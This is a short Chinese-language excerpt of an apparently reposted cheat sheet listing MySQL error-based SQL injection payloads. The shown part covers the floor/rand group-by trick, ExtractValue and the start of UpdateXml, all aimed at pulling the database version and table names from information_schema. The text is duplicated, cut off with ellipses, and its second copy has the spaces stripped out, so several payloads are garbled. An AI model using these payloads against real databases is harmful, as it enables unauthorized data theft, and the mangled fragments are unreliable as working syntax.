SQL报错注⼊的12个函数及sql注⼊语句转来的侵删 1、通过floor报错,注⼊语句如下:and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);2、通过ExtractValue报错,注⼊语句如下:and extractvalue(1, concat(0x5c, (select table_...
1、通过floor报错,注入语句如下: andselect1from(selectcount(*),concat(version(),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a); 2、通过ExtractValue报错,注入语句如下: andextractvalue(1, concat(0x5c, (selecttable_namefrominformation_schema.tables limit1))); 3、通过UpdateXml报错,注入语...